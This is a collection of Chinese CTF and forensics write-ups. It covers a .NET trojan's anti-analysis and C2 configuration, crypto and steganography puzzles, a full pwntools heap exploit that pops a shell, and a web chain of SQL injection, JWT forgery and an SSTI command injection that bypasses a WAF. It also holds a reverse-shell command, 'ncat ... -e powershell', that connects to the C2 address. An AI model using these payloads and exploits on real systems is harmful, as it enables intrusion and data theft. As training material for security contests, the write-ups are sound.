编译木马使用的 .NET 版本为 .NET Framework 4.0，完整版本号为 4.0.30319

接上题，木马中有多少反沙箱和反调试的检测逻辑？【答案格式:6】

在入口函数 AuPSZXXVSMF0DQRCvC2rt5MfcrYC48o7KO1SI69og2JLhf02Th6Xma2HOysY() 中发现 5 个独立的反沙箱/反调试检测逻辑：

VM****检测（反沙箱）— WMI查询检测 Hyper-V/QEMU/VirtualBox
CheckRemoteDebuggerPresent（反调试）— 检测远程调试器附加
Sandboxie****检测（反沙箱）— GetModuleHandle(“SbieDll.dll”)
Windows XP检测（反沙箱）— OS名称包含”xp”
托管IP检测（反沙箱）— ip-api.com 查询是否为数据中心IP

命中任一检测 → Environment.FailFast(null) 立即崩溃退出。

注：RtlSetProcessIsCritical 和 Process.EnterDebugMode 属于反终止/进程保护，不属于检测逻辑。

接上题，木马为获得提升的权限执行而创建的计划任务名称是什么？【答案格式:Netlogon】

WmiPrvSE

在入口函数中找到 schtasks /create /f /RL HIGHEST /sc minute /mo 1 /tn "..." /tr "..."
任务名称来自 Path.GetFileNameWithoutExtension(EB5J4sIzfH74...)
该变量初始值为 "sJHKF5x7kjxy85oLMym05A==" (Base64 + AES-ECB 加密)
使用密钥 MD5(“8xTJ0EKPuiQsJVaT”) 扩展为 32 字节解密
解密结果: WmiPrvSE.exe
GetFileNameWithoutExtension → WmiPrvSE
接上题，木马使用哪种加密算法来加密或混淆其配置数据？【答案格式:BASE64】

AES

配置数据解密函数位于 yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE():

使用 RijndaelManaged（即 AES）ECB 模式
密钥: MD5(“8xTJ0EKPuiQsJVaT”) 扩展为 32 字节 (AES-256)
配置值以 Base64 编码存储，解密时先 Base64 解码再 AES-ECB 解密

接上题，为了获取其加密算法的某个参数，木马使用一个硬编码字符串作为输入，这个硬编码字符串的值是多少？【答案格式:uwbf4wNfw】

8xTJ0EKPuiQsJVaT

在配置类 NB2mi1... 中定义了硬编码字符串：

1	DhMybcleyUJ8... = "8xTJ0EKPuiQsJVaT"

解密函数中该字符串被传入 MD5 哈希函数，生成的摘要扩展为 32 字节作为 AES-256-ECB 的密钥。

接上题，木马回连的ip地址有哪些？【答案格式:按照木马中原始的顺序写入,答案用,隔开,格式;114.114.114.114,8.8.8.8,1.1.1.1】

156.238.239.253,66.175.239.149,185.117.249.43

回连地址存储在 NB2mi1...ZIDZvDLAFbRY... 字段
初始值: "b7lP9DKXK17yU4FBIMvdZYYT7q1ogMGVrgjUqWnzqLxMXw3GIeVZpids5gIz2YZu"
AES-256-ECB 解密后得到逗号分隔的IP列表
木马运行时随机选择一个IP进行连接
接上题，木马回连的C2通信端口是多少？【答案格式:11451】

7000

配置字段 PjOzPaAZem6Y... 密文 "3qBjH4yDUHjhZBxWK56eYw==" 解密后为 7000。

接上题，该木马通过将自身复制到可移动设备上来传播，在每个受感染设备上创建的新副本的名称是什么？【答案格式:dwm.exe】

USB.exe

USB传播逻辑在 VRti6vhPYugo...cs 中：

检测可移动驱动器 (DriveType.Removable)
将自身复制为 {盘符}\USB.exe
设置 Hidden + System 属性隐藏文件
将原有文件/文件夹设为隐藏，创建同名 .lnk 快捷方式（先运行木马再打开原文件）

配置字段 s6qNUlBh1I6DXfxJ... 密文 "lXEVYeoDw31nYYF2ts9aUQ==" 解密为 USB.exe

接上题，木马用来检测其是否在沙盒环境中运行的DLL的名称是什么？【答案格式:v50.dll】

SbieDll.dll

在 2roByDJH6Zwp...() 函数中，使用 GetModuleHandle("SbieDll.dll") 检测 Sandboxie 沙箱环境。

SbieDll.dll 是 Sandboxie 沙箱软件注入到受沙箱保护进程中的核心DLL。如果该DLL存在于当前进程中，说明程序正在 Sandboxie 沙箱中运行。

接上题，木马操纵的用于控制Windows资源管理器中隐藏项目可见性的注册表项名称是什么？【答案格式:AAAabe3】

ShowSuperHidden

在 USB 传播模块中，木马修改注册表：

路径: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
键名: ShowSuperHidden
操作: 将值从 1 改为 0（禁止显示受保护的操作系统文件）

这使得设为 Hidden + System 属性的 USB.exe 在 Windows 资源管理器中不可见。

接上题，木马使用哪个API将其进程标记为关键进程？【答案格式:WNetAddConnection】

RtlSetProcessIsCritical

在 ke48iewt5U3eoIMbjLCt.cs 中：

1	[DllImport("NTdll.dll", EntryPoint = "RtlSetProcessIsCritical")]

调用 RtlSetProcessIsCritical(true, ...) 将进程标记为系统关键进程。

配合 Process.EnterDebugMode() 获取调试权限后调用
效果: 如果用户/杀软尝试终止该进程，系统将触发蓝屏(BSOD)

接上题，木马使用哪个API来捕获用户输入？【答案格式:WNetAddConnection】

SetWindowsHookEx

在键盘记录模块 kJx6L3azGytvvlpO5g4M...cs 第175行：

1	[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SetWindowsHookEx", SetLastError = true)]

木马使用 SetWindowsHookEx 安装低级键盘钩子（WH_KEYBOARD_LL），捕获用户所有按键输入并记录到日志文件。

请分析倩倩的PC镜像，倩倩的电脑曾被api投毒过，请找出投毒后执行的恶意命令【答案格式:snd.exe 172.0.0.1 22-L be?16】

ncat.exe 156.238.239.253 1314 -e powershell

请分析倩倩的PC内存镜像，识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的进程标识符(PID)？【答案格式:123414】

10892

请分析倩倩的PC内存镜像，请尝试解密微信数据库并写出message_0.db对应的微信密钥？【答案格式:60e248c9079f4bc14e256e0b65495e8688d7b342643de84a5f417f4097c9c792】
请分析倩倩的PC内存镜像，请找到正在运行的木马进程的进程标识符(PID)【答案格式:1233】

7348

同上

请分析倩倩的PC内存镜像，请找到正在运行的木马进程的创建时间(UTC)？【答案格式:2026-01-01 01:11:11】

2026-04-03 01:46:44

请分析倩倩的PC内存镜像，结合木马分析找出内存中回连的C2木马服务器的真实ip？【答案格式:127.0.0.1:8080】

156.238.239.253:7000

木马网络连接 (PID 7348, Haimuniu_VPN_C)


远程IP	端口	状态	时间	用途
208.95.112.1	80	CLOSE_WAIT	1:46:47	IP查询服务(侦察)
156.238.239.253	7000	SYN_SENT	1:48:06	C2回连

L1-079 天梯赛的善良（Python）

2026-04-12T12:22:00.000Z

天梯赛是个善良的比赛。善良的命题组希望将题目难度控制在一个范围内，使得每个参赛的学生都有能做出来的题目，并且最厉害的学生也要非常努力才有可能得到高分。
于是命题组首先将编程能力划分成了 106 个等级（太疯狂了，这是假的），然后调查了每个参赛学生的编程能力。现在请你写个程序找出所有参赛学生的最小和最大能力值，给命题组作为出题的参考。

输入格式：

输入在第一行中给出一个正整数 N（≤2×104），即参赛学生的总数。随后一行给出 N 个不超过 106 的正整数，是参赛学生的能力值。

输出格式：

第一行输出所有参赛学生的最小能力值，以及具有这个能力值的学生人数。第二行输出所有参赛学生的最大能力值，以及具有这个能力值的学生人数。同行数字间以 1 个空格分隔，行首尾不得有多余空格。

输入样例：

10
86 75 233 888 666 75 886 888 75 666

输出样例：

75 3
888 2

解法

n=int(input())
s=list(map(int,input().split()))
print(min(s),s.count(min(s)))
print(max(s),s.count(max(s)))

2026红明谷wp

2026-03-26T07:00:00.000Z

欢迎收看ai出题ai做题ai写wp的比赛
最后有51多个队ak了（下面不是我们队只是最后一个ak的）

现在手打的比ai慢，差一点的ai比好的慢，弄到底就是烧钱拿排名，这样真的是公平的比赛吗
（看见某个队上题2分多钟就拿到了某靶机题的flag，人打的能有那么快吗）
没啥说的，wp全是ai，品鉴一下

Coordinates

这道 CTF 题目是一道非常典型的隐写术（Steganography）与机器学习模型（模型投毒）结合的题目。我们可以通过下面的步骤来分析出隐藏在模型权重中的 Flag：

1. 寻找“频率异常的常数”

提示中提到“在茫茫的浮点数海洋里发现了一个出现频率异常的‘常数’”。

ResNet50 模型有大约 2500 万个浮点数参数（参数总量极大）。我们将这些 .pth 模型权重文件里的所有张量平铺（Flatten），连接成一个巨大的一维数组形式，并统计每个浮点数出现的频率。

import torch

print("Loading model...")
data = torch.load('secret.pth', map_location='cpu', weights_only=False)

print("Concatenating tensors...")
tensors = [v.flatten() for v in data.values() if torch.is_tensor(v) and v.is_floating_point()]
all_params = torch.cat(tensors)

print(f"Total params: {all_params.numel()}")

print("Finding unique values...")
vals, counts = torch.unique(all_params, return_counts=True)
top_counts, top_indices = torch.topk(counts, 20)

print("Top 20 most frequent values:")
for count, idx in zip(top_counts, top_indices):
    print(f"Value: {vals[idx].item()} (raw: {vals[idx]}) - Count: {count.item()}")

通过 PyTorch 分析后，我们能找出一个异常高频的浮点数：

0.5201314091682434，它在这 2500 万参数中精确地出现了 145 次。而正常经过训练的模型中，权重是连续分布的，几乎不可能有特定常数出现如此高的频率。因此，0.5201314 就是解题的“钥匙”。

2. 解析“坐标系统”

提示暗示这个常数是用来解开“坐标系统”的钥匙。我们提取整个一维数组中该常数所在位置的一维索引（Index），得到了这 145 个位置：

1	[600, 700, 1000, 1100, 1400, 1500, 1700, 1800, 2200, 2300, 2800, 3000, 3100, 3400, 3500, 3600, 3800, 3900, 4000, 4100, 4300, 4400, ...]

除了其中有两个随机噪声恰巧也命中该数值外，其他的索引都表现出了一个极其工整的规律：它们全都是 100 的倍数。这也是所谓的坐标系统：步长为100。

3. 构建二进制字符串与解码

我们将这些索引值全部除以 100，可以得到一个压缩后的一维坐标列表：

[6, 7, 10, 11, 14, 15, 17, 18, 22, 23, 28, 30, 31, 34, 35, 36, ... 308]

这就相当于给出了一个二进制流掩码（bitmask）。在这个最大长度为 309 的二进制字符串里：

列表中存在的坐标，该位置为 1。
列表中不存在的坐标，对应位置为 0。

拼接后我们可以得到这样一串二进制数据：

0000001100110011011000110000101100111011... (总长309)

通常的隐写可能会由于头部填充而存在偏移，我们将此二进制流向右做了一个 5位的偏移（Offset=5） 时，此时数据完全对齐，可以被无缝解析为标准可读的 ASCII 字符。

对应的提取 Python 脚本如下：

import torch

# 1. 载入模型提取常量位置
data = torch.load('secret.pth', map_location='cpu', weights_only=False)
tensors = [v.flatten() for v in data.values() if torch.is_tensor(v) and v.is_floating_point()]
all_params = torch.cat(tensors)

magic = 0.5201314091682434
indices = torch.nonzero((all_params - magic).abs() < 1e-6).flatten().tolist()

# 2. 映射坐标并生成二进制串
indices = [i // 100 for i in indices if i % 100 == 0]
s = ''.join(['1' if i in indices else '0' for i in range(max(indices) + 1)])

# 3. 按位偏移 5 并转为 ASCII
offset = 5
bin_str = s[offset:]
chars = [chr(int(bin_str[i:i+8], 2)) for i in range(0, len(bin_str)-7, 8)]

flag = ''.join(chars)
print("Flag:", flag)

成功提取并解码得到Flag：

flag{6b9393b6318a70a56b19c34ded696b5f}

ezSM4

一、初步分析

1.1 字符串分析

使用 IDA Pro 打开 ezSM4.exe，查看字符串，发现以下关键信息：

1	12345678abcdefgh ← 硬编码密钥（16字节）

1.2 程序逻辑

定位 main 函数（0x140001960），逆向分析逻辑如下：

程序通过 cin 读取用户输入（16字节明文）
使用硬编码密钥 12345678abcdefgh 进行加密
将加密结果与硬编码密文进行比较
若相等则输出 Correct!，否则输出 Wrong!

硬编码密文（小端序排列）：

1	4A 5E 46 35 96 08 E9 30 DA 28 CA A0 22 A6 59 4D

二、静态分析

2.1 初始化函数 sub_1400021B0

该函数负责初始化 SM4 的 S 盒（Substitution Box）。分析其存储的 64 个 DWORD 值，将每个有符号 32 位整数按小端序展开为 4 字节，得到完整的 256 字节 S 盒。

验证发现：展开后的 S 盒与标准 SM4 的 S 盒完全一致，并非修改点。

2.2 密钥扩展函数 sub_140002940

分析密钥扩展函数，提取出：

FK 参数（标准值）：

1	FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]

CK 常量（标准 32 个轮常量）：完全符合国标 GM/T 0002-2012
L’ 变换（密钥扩展线性变换）：

1	L'(B) = B ⊕ (B <<< 13) ⊕ (B <<< 23)

与标准 SM4 完全一致。

2.3 加密函数 sub_140002DF0

分析加密函数（vtable[5]），提取：

L 变换（加密线性变换）：

1	L(B) = B ⊕ (B <<< 2) ⊕ (B <<< 10) ⊕ (B <<< 18) ⊕ (B <<< 24)

与标准 SM4 完全一致。

T 变换：T(A) = L(τ(A))，其中 τ 为 S 盒替换，标准。
轮函数：32 轮 Feistel 结构，标准。

2.4 关键差异：字节→DWORD 转换函数 sub_1400011E0

这是发现修改的核心位置。

标准 SM4 将字节数组转换为 32 位字时使用大端序（Big-Endian）：

1
2
3

// 标准 SM4 大端序
word = (bytes[0] << 24) | (bytes[1] << 16) | (bytes[2] << 8) | bytes[3]
// 对应 Python: struct.unpack('>I', data)

本题修改：字节→DWORD 转换改为小端序（Little-Endian）：

1
2
3

// 修改后小端序
word = bytes[0] | (bytes[1] << 8) | (bytes[2] << 16) | (bytes[3] << 24)
// 对应 Python: struct.unpack('

三、修改点总结


组件	标准 SM4	本题	是否修改

| S 盒（256字节） | 标准值 | 标准值 | 否 |

| FK 系统参数 | 标准值 | 标准值 | 否 |

| CK 轮常量 | 标准值 | 标准值 | 否 |

| L 线性变换 | 标准 | 标准 | 否 |

| L’ 密钥扩展变换 | 标准 | 标准 | 否 |

| 字节→DWORD 字节序 | 大端序 | 小端序 | 是 ✓ |

结论：本题唯一修改点为**字节序——将标准 SM4 的大端序（Big-Endian）改为小端序（Little-Endian）。**

四、解题脚本

exp如下

import struct

_SBOX_DWORDS = [
    -18247466,   -1220681268, -1038830058,  86833960,
     1989830443, -1023099350,   638796970, -1727625655,
    -196066660,   2056843153,  1124815923,  1655492589,
    -1457736732, -1779955511,   -90906752, -1505783947,
    -56162489,   -1172868109,   423385475, -1471183386,
    -1300141208, -1948621711,  1259334648,   899503728,
     1577985054, -1563338653,   997990949, -2022170367,
     1464205524,  1378341791,  -419285428, -1631009632,
    -762658838,  -1254570176,  -822937693, -1592434183,
    -1537364256,  1427780763,   808620973,  -474903307,
     786626077,   1623877250, -1423758912,  1867404045,
     1161288661,   797900254,  1919614723,  1364946029,
    -1834017907,  2143083963,  1096603921,  -665186273,
    -2010005238, -1115959899,   315651117, -1330321992,
     1251436937,  2121766412,   166836581, -2067370299,
    -327290856,    541973562,  1046474361,  1211747287,
]
SBOX = bytearray()
for d in _SBOX_DWORDS:
    SBOX += struct.pack(chr(60)+"i", d)
assert len(SBOX) == 256
FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
CK = [
    0x00070E15,0x1C232A31,0x383F464D,0x545B6269,0x70777E85,0x8C939AA1,0xA8AFB6BD,0xC4CBD2D9,
    0xE0E7EEF5,0xFC030A11,0x181F262D,0x343B4249,0x50575E65,0x6C737A81,0x888F969D,0xA4ABB2B9,
    0xC0C7CED5,0xDCE3EAF1,0xF8FF060D,0x141B2229,0x30373E45,0x4C535A61,0x686F767D,0x848B9299,
    0xA0A7AEB5,0xBCC3CAD1,0xD8DFE6ED,0xF4FB0209,0x10171E25,0x2C333A41,0x484F565D,0x646B7279,
]
def rol32(x,n): return ((x<>(32-n)))&0xFFFFFFFF
def tau(A):
    return SBOX[A&0xFF]|(SBOX[(A>>8)&0xFF]<<8)|(SBOX[(A>>16)&0xFF]<<16)|(SBOX[(A>>24)&0xFF]<<24)
def L(B):       return B^rol32(B,2)^rol32(B,10)^rol32(B,18)^rol32(B,24)
def Lp(B):      return B^rol32(B,13)^rol32(B,23)
def T(A):       return L(tau(A))
def Tp(A):      return Lp(tau(A))
def key_exp(key):
    MK=list(struct.unpack(chr(60)+"4I",key)); K=[MK[i]^FK[i] for i in range(4)]; rk=[]
    for i in range(32):
        tmp=K[(i+1)%4]^K[(i+2)%4]^K[(i+3)%4]^CK[i]; K[i%4]^=Tp(tmp); rk.append(K[i%4])
    return rk
def enc(pt,rk):
    X=list(struct.unpack(chr(60)+"4I",pt))
    for i in range(32): tmp=X[1]^X[2]^X[3]^rk[i]; X[0]^=T(tmp); X.append(X.pop(0))
    return struct.pack(chr(60)+"4I",X[3],X[2],X[1],X[0])
def dec(ct,rk):
    X=list(struct.unpack(chr(60)+"4I",ct))
    for i in range(31,-1,-1): tmp=X[1]^X[2]^X[3]^rk[i]; X[0]^=T(tmp); X.append(X.pop(0))
    return struct.pack(chr(60)+"4I",X[3],X[2],X[1],X[0])
KEY=b"12345678abcdefgh"
CT=bytes([0x4A,0x5E,0x46,0x35,0x96,0x08,0xE9,0x30,0xDA,0x28,0xCA,0xA0,0x22,0xA6,0x59,0x4D])
rk=key_exp(KEY); pt=dec(CT,rk)
print("Ciphertext:",CT.hex())
print("Plaintext :",pt.hex())
try: print("Flag       : flag{"+pt.decode()+"}")
except: print("Raw:",list(pt))
print("Self-test  :","PASS" if enc(pt,rk)==CT else "FAIL")

odd-chat

1. 逆向分析

程序是个基于选单的聊天机器人，含有：1. Chat、2. Change name、3. View chat history、4. Clear chat。

发送聊天 (sub_400D5D)

当发送聊天时，它会使用 malloc(0x20) 分配空间，并将上一个聊天的指针保存在新分配的堆块的 +24 （偏移24字节）处，用作链表以记录聊天历史。

然后提示输入字数长度：v1 = (int)abs32(sub_400A82()) % 24;。v1被作为 unsigned int 传递给读取函数 sub_400AD9。

自定义加密 (sub_4008E7)

读取完成后，内容会被 sub_4009C8 按照长度自动填充并分块传递给 sub_4008E7 进行加密。逆向分析得知，这是一个变形的 XTEA 加密（固定密钥全为 1131796，常量 delta 为 0x9E3779B9，循环了17轮）。

2. 漏洞点 (INT_MIN 绕过与堆溢出)

程序长度限制为 abs(输入) % 24。但在C/C++底层架构中，有符号32位整数的最小负数 -2147483648 (INT_MIN) 在执行 abs() 时，因为发生上溢，产生的结果仍然是 -2147483648。

计算 -2147483648 % 24，结果为 -8。将 -8 转换为读取函数的参数（无符号整型）时，由于发生了符号拓展，它会变成 4294967288。因此我们可以输入超过0x20长度限制的数据，造成严重的堆溢出！

3. 利用思路

因为程序保护开得较少（No PIE，Partial RELRO），GOT表可写且地址固定，结合 glibc-2.27 (附带的 libc.so.6) 我们使用如下策略：

逆向 XTEA 解密算法：
我们的覆盖内容在注入后会被二次加密，为了向内存写入我们想要的恶意指针（如GOT表地址），我们需要预先在 Python 代码中实现解密算法，将我们期望的目标指针进行“解密”。这样写入内存后，它被程序一“加密”，刚好变成我们需要的真实地址。
泄露 libc 地址：
发送聊天并触发堆溢出，构造载荷刚好将我们自己聊天消息节点中的 +24（下一个历史记录）指针，覆盖为指向 atoi@GOT (0x602060) 的地址。当我们执行 “View chat history” 时，在依次遍历时会读取并打印 atoi@GOT 里存放的真实 libc 地址。
(这里有一个巧妙的点：遍历打印 atoi@GOT 后它会接着读取下一个节点指针 *(atoi@GOT + 24)，即 0x602078 (.data节)，正好这里是全0，它会直接安全停止遍历断开，不会发生段错误崩溃)
Tcache Poisoning (Tcache 中毒)：
分配多个空块（A, B, C, D…），全部 Clear chat 释放进 tcache bin 0x30中，然后再次请求一个块。利用该块的堆溢出，直接覆盖物理相邻的下一个闲置块的 fd 指针，将其改为 atoi@GOT（也要提前使用XTEA逆向预解密）。
覆盖 GOT 并 Get Shell：
接下来连续申请两次，malloc 就会将 atoi@GOT 所在的地址分配给我们。我们在其中填写 system 函数的各种地址（经预解密处理）。这样 atoi@GOT 就会被修改为 system。
在下一轮菜单选择时，我们在等待输入数字编号的地方直接输入字符串 sh，立刻会被执行为 atoi("sh") -> 即 system("sh") 弹出 shell

exp

from pwn import *
import struct
import sys

def dec(v2, v3):
    v2 &= 0xffffffff; v3 &= 0xffffffff
    k = 1131796
    v4 = (17 * (-1640465991)) & 0xffffffff
    for i in range(17):
        v3 = (v3 - ((v2 + v4) ^ ((v2 << 4) + k) ^ ((v2 >> 5) + k))) & 0xffffffff
        v4 = (v4 + 1640465991) & 0xffffffff
        v2 = (v2 - ((v3 + v4) ^ ((v3 << 4) + k) ^ ((v3 >> 5) + k))) & 0xffffffff
    return v2, v3

def dec_block(data):
    v2, v3 = struct.unpack(", data)
    r2, r3 = dec(v2, v3)
    return struct.pack(", r2, r3)

def dec_payload(payload):
    res = b""
    for i in range(0, len(payload), 8):
        res += dec_block(payload[i:i+8])
    return res

context.binary = './attachment'

if len(sys.argv) > 1:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    p = process('./attachment')

def chat(length, data):
    p.sendlineafter(b">> ", b"1")
    p.sendlineafter(b"characters do you want to send: ", str(length).encode())
    if length != 0:
        p.sendafter(b"> ", data)
    else:
        p.recvuntil(b"> ")

def clear():
    p.sendlineafter(b">> ", b"4")

p.sendlineafter(b"Please enter your name: ", b"A"*10)


chat(0, b"") 
chat(0, b"") 
chat(0, b"") 
chat(0, b"") 

clear()

puts_got = 0x602060 
payload = b"X" * 24 + p64(puts_got)
chat(-2147483648, dec_payload(payload) + b"\n")

p.sendlineafter(b">> ", b"3") 
p.recvuntil(b"X"*24)
p.recvline()
p.recvuntil(b"> ")
leak = p.recvline().strip()
atoi_addr = u64(leak.ljust(8, b'\x00'))
log.info(f"atoi: {hex(atoi_addr)}")

libc = ELF('./libc.so.6')
libc.address = atoi_addr - libc.sym['atoi']
log.info(f"libc base: {hex(libc.address)}")
log.info(f"system: {hex(libc.sym['system'])}")

payload = b"X" * 32 + p64(0) + p64(0x31) + p64(0x602060) # atoi@got
chat(-2147483648, dec_payload(payload) + b"\n")

chat(0, b"")

payload = p64(libc.sym['system'])
chat(-2147483648, dec_payload(payload) + b"\n")

p.sendlineafter(b">> ", b"sh")
p.interactive()

gopherblog

信息收集与****逆向分析：
通过分析所提供的 Go 语言 ELF 可执行文件，提取了其中的内部符号和所有的 HTTP 路由（如 /api/posts/search、/admin 以及各种底层查询语句）。发现使用了基于 fmt.Sprintf 拼接的可疑 SQL 查询模式。

SQL 注入 (Format String 注入)：
应用在 /api/posts/search?q= 路由中存在 SQL 注入漏洞。因为系统通过类似于 %s 的方式对输入进行了拼接，并没有正确防范闭合。构造专门的 UNION 注入语句 q=a%' UNION SELECT 1,name,sql,4,5,6 FROM sqlite_master--，可以成功 Dump 整个 SQLite 库表结构。
接着查询内部的 settings 表 UNION SELECT 1,key,value...，从中获取到了用于 JWT 签名的密钥：
jwt_secret = fc79a4f594f7d32dabfe9fde9518bc7091bc0137d7a6a43c
JWT 伪造及权限提升：
在网站 /register 前台注册并拦截登录后的响应，得到了标准用户的 JWT 格式。随后通过前文获取的密钥，基于 HMAC-SHA256 算法，自己伪造了一份修改了 Claims 的令牌：{"role": "admin", "username": "admin"}，成功夺取了系统 Admin 权限，访问到了 /admin。

import hmac, hashlib, base64, json;

header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {'exp': 1774577800, 'iat': 1774491300, 'role': 'admin', 'username': 'admin'}

b64ue = lambda x: base64.urlsafe_b64encode(json.dumps(x, separators=(',', ':')).encode()).decode().rstrip('=')
b64u = lambda x: base64.urlsafe_b64encode(x).decode().rstrip('=')

h_p = b64ue(header) + '.' + b64ue(payload)

# Trying first as string secret
sig1 = hmac.new(b'fc79a4f594f7d32dabfe9fde9518bc7091bc0137d7a6a43c', h_p.encode(), hashlib.sha256).digest()
print("str_secret  :", h_p + '.' + b64u(sig1))

# Trying also as hex-decoded secret just in case
import binhex
hw = bytes.fromhex('fc79a4f594f7d32dabfe9fde9518bc7091bc0137d7a6a43c')
sig2 = hmac.new(hw, h_p.encode(), hashlib.sha256).digest()
print("hex_secret  :", h_p + '.' + b64u(sig2))

# Also testing against the testuser token
test_payload = {'exp': 1774577756, 'iat': 1774491356, 'role': 'user', 'username': 'testuser'}
h_p_test = b64ue(header) + '.' + b64ue(test_payload)
sig_test1 = hmac.new(b'fc79a4f594f7d32dabfe9fde9518bc7091bc0137d7a6a43c', h_p_test.encode(), hashlib.sha256).digest()
sig_test2 = hmac.new(hw, h_p_test.encode(), hashlib.sha256).digest()
print("test1       :", h_p_test + '.' + b64u(sig_test1))
print("test2       :", h_p_test + '.' + b64u(sig_test2))
print("real_test   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NzQ1Nzc3NTYsImlhdCI6MTc3NDQ5MTM1Niwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6InRlc3R1c2VyIn0.d931AmOTHojSoPTItlQfZF-ggpfz3FheYhAjv-vQc4Y")

SSTI（服务器端模板注入）引发 RCE：
在系统的 /admin/newsletter 页面，存在允许自定义的邮件简报模板，并通过 Go 原生的 text/template 引擎进行解析。系统在此处向模板传入了 .Mailer 结构体（main.MailService）。
利用导出的 Go 方法 Configure 可以重新设置发信人和主机，然后利用 Ping 触发底层基于 nc 的长连接探测。
  通过模板注入：
  {{ .Mailer.Configure "127.0.0.1; c'a't /f'l'ag;" 587 }} {{ .Mailer.Ping }}
  在此执行了经过简单引号绕过 WAF 黑名单（由于 cat, flag 被系统阻止防护）的系统命令。Ping 方法错误地没有处理 host 导致直接把参数传给了 sh -c 的 nc 命令，完成命令执行并在执行反馈中拿到了最终存在的回显中截获 /flag 的真实内容
  flag{7d3a3e8a-5849-429f-8f12-e0db064cb511}

LCG-LHNP

通过阅读生成的 enc.sage，题目可以拆解为两个核心阶段：

给定一个线性同余生成器（LCG）产生的多个连续输出状态，但隐藏了所有参数（模数 n_n_、乘数 a_a_、增量 b_b_ 以及初始种子），要求反推出初始随机数种子。
小明用伪随机序列生成了同余方程：ci≡ri⋅x+ei(modp)。这里 x 是未知的秘密值（用于加密Flag），且 ei为一个较小的随机数（长度仅888位，远小于模数 p_p_ 的1024位）。我们需要通过上述方程组求解出 x。这是一个典型的 HNP（隐藏数问题）模型。

第一阶段：LCG 参数与随机数种子还原

题目已知一串连续的 LCG 序列状态列表 seeds，记作 S0,S1,S2…Sk。 LCG 生长公式为： Si+1=(a⋅Si+b)(modn)

因为参数全都未知，我们可以通过代数运算逐步消去未知数：

① 消除 b：对相邻元素作差： Ti=Si+1−Si_T_ Ti≡(a⋅Si+b)−(a⋅Si−1+b)≡a⋅(Si−Si−1)≡a⋅Ti−1(modn)

② 消除 a (寻找模数 n)：利用上一步的结论，再看连续3个差值 Ti−1,Ti,Ti+1 Ti+1⋅Ti−1≡(a⋅Ti)⋅(a−1⋅Ti)≡Ti2(modn) 所以： Ti+1⋅Ti−1−Ti2≡0(modn)

这意味着 (Ti+1⋅Ti−1−Ti2) 一定是未知模数 n 的倍数。我们可以利用多组状态计算出这个差分结果的绝对值，然后求它们的最大公约数 (GCD)，就可以高概率恢复出 n（再除以一些常见且无用的小素数因子即可）。

③ 恢复 a_a_ 和 b_b_：已知了 n_n_，则乘数 a=T1⋅T0−1(modn) 增量 b=S1−a⋅S0(modn)

④ 回算初始种子 Sinitial_Sinitial_：通过逆运算步退一轮，求得种子：Sinitial=(S0−b)⋅a−1(modn)。至此，我们将随机生成器的状态完美还原。

第二阶段：重建 PRNG，获取 p_p_ 与 ri

既然拿到了 LCG 被隐藏的种子，我们在 Python 中通过 random.Random(seed) 即可初始化对应的随机数生成器。按照加密时的步骤进行相同的伪随机流抽取，就能“未卜先知”地拿到本应该不知情的极大素数 p (1024-bit) 以及 30组随机乘数 ri (1024-bit)。

第三阶段：利用 LLL 晶格规约求解 HNP

现在我们拥有：方程 ci≡ri⋅x+ei(modp) （其中 ci, ri, p 已知，x 待求，ei 是较小的误差，位长 ∼888∼888 bits）。

我们将公式转换一下：存在整数 ki，使得 ci−ri⋅x−ki⋅p=ei。此处的 ei∈(0,2888) 是正数。为了最优的 LLL 格规约效果，我们将误差通过平移居中：让 H=2887（即 2888/22888/2 ），那么 (ei−H)就在负到正的紧凑对称区间 [−2887,2887]内。

构建维度为 (N+2)×(N+2) 的基矩阵 M_M_（设方程数量取 N=28 组）：

设定缩放因子 K=2137（1024−887=137，目的是将 ei放缩到和目标变量长度相同即约 21024 级别）。设定权重边界常量 W=21024。
矩阵结构如下：
M=[K⋅p0…0000K⋅p…000………………K⋅r0K⋅r1…K⋅rn−110K⋅(c0−H)K⋅(c1−H)…K⋅(cn−1−H)0W]

在进行 LLL 晶格规约 M.lll() 后，原基础向量会被重组优化寻找极短向量。一定存在某一个线性组合： 1×MN+1+(−x)×MN+∑(−ki)×Mi

此时合并出来的这行向量，它的第 11 到第 N_N_ 列结果刚好是 K⋅(ci−H−ri⋅x−ki⋅p)=K⋅(ei−H)，这是一个非常小的数值；它的第 N+2_N_+2 列结果必定是 ±W±W。因此，当我们在规约后的矩阵里扫描到最后一列绝对值为 W_W_ 时，倒数第二列的数值的绝对值，或者是带有负号的数值，就是我们要找的未知数 x_x_。再由 x(modp) 提取确切的正整数。

第四阶段：计算出最终 FLAG

已知 enc 是用 x_x_ 进行了异或操作： flag_int=enc⊕x 最后通过 long_to_bytes 转成 ASCII 字符串即得到 flag。

最终求得的 Flag 为：

flag{6c3b0525-00e5-4436-a1f1-cd9e0c4d7fa4}

Neural-Inference

这道题目是一个典型的混合 Web-to-Pwn（带有自定义协议虚拟机）渗透题目。通过使用 idapromcp 静态分析提供的 C 语言编写的底层执行引擎 engine，我们发现了位于多层防御下的一条完整漏洞链：

漏洞分析

信息泄露以绕过随机数种子
执行引擎默认对发送到 UNIX Socket 的命令执行 0xFF 系列高级系统管理指令鉴权。鉴权算法为 verify_admin_token，要求请求方知道一个长达 16 字节的密钥 g_pwn。但通过逆向 derive_admin_key 可知，该 g_pwn 密钥是引擎启动时，使用 g_pid（进程ID）和 g_start_time（启动时间戳）生成的（通过一套 xorshift 取散伪随机再取 AES SBox 做替换）。
前端 Flask 服务在 /api/status (CMD_STATUS) 接口中未鉴权暴露了这两个状态信息。我们可以用它的 uptime 和当前时间回推出 g_start_time，从而在本地精确重现此伪随机生成器逻辑，完全伪造签名进而绕过鉴权。
VNM自定虚拟机解析漏洞（越界写/RCE）
当获取了管理权限后，通过下发 sub_cmd = 0x05 可以调用内部诊断例程，实际上该指令会读取我们的用户 Payload 并送入 execute_vnm() 执行。
